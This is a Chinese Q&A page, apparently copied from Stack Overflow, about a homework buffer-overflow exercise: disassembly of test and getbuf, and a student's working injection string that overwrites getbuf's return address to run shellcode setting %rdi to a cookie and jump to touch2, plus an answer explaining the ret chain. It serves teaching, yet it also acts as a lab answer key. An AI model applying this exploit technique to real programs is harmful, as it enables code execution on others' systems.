缓冲区溢出“攻击”中的操作顺序
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了缓冲区溢出“攻击”中的操作顺序相关的知识,希望对你有一定的参考价值。
这是一个家庭作业,我已经有了答案,但不明白为什么它实际上有效?
我需要做的是获得一个函数来执行touch2()
的代码而不是返回父函数test()
。此外,我必须让它看起来像touch2()
,好像我已经通过我的cookie-id作为其论点。
C代表touch2()
1.void touch2(unsigned val){
2. if (val==cookie){
3. //code that says I passed
4. }
4. else {
5. //I failed
6. }
test
的反汇编代码
0000000000401999 <test>:
401999: 48 83 ec 08 sub $0x8,%rsp
40199d: b8 00 00 00 00 mov $0x0,%eax
4019a2: e8 31 fe ff ff callq 4017d8 <getbuf>
4019a7: 89 c2 mov %eax,%edx
4019a9: be a8 31 40 00 mov $0x4031a8,%esi
4019ae: bf 01 00 00 00 mov $0x1,%edi
4019b3: b8 00 00 00 00 mov $0x0,%eax
4019b8: e8 63 f4 ff ff callq 400e20 <__printf_chk@plt>
4019bd: 48 83 c4 08 add $0x8,%rsp
4019c1: c3 retq
拆卸getbuf
:
00000000004017d8 <getbuf>:
4017d8: 48 83 ec 38 sub $0x38,%rsp
4017dc: 48 89 e7 mov %rsp,%rdi
4017df: e8 7e 02 00 00 callq 401a62 <Gets>
4017e4: b8 01 00 00 00 mov $0x1,%eax
4017e9: 48 83 c4 38 add $0x38,%rsp
4017ed: c3 retq
我的解决方案:
48 c7 c7 f0 f7 dd 2c c3 /* assembly language inst. to set my rdi register and then return */
41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
d8 20 68 55 00 00 00 00 /* address for %rsp at 'Gets' --> this holds the input when you type in a string */
1a 18 40 00 00 00 00 00 /* address for touch2 */
我理解在我的解决方案中需要填充,但仍然有以下问题:
- 如果我更改指令以将
%rdi
设置为除第一行以外的任何位置,为什么我的解决方案不起作用? - 如果
touch2()
的return
位置持有getbuf
的地址,Gets
如何被调用?
我使用gdb来获取Gets
的地址:
(gdb) x/s $rsp
0x556820d8: "adlkfajsdlkfjaskldjfalksdjflasdkjflkasd" //string I typed into `Gets`
答案
- 它应该在任何地方工作,假设你把正确的地址放入堆栈(倒数第二行)。
- 您的漏洞利用代码以
RET
(c3
)结尾。这将从堆栈中获取下一个地址并转到那里。因为你已经将touch2
的地址存储在堆栈中,所以它就是它的所在。
以上是关于缓冲区溢出“攻击”中的操作顺序的主要内容,如果未能解决你的问题,请参考以下文章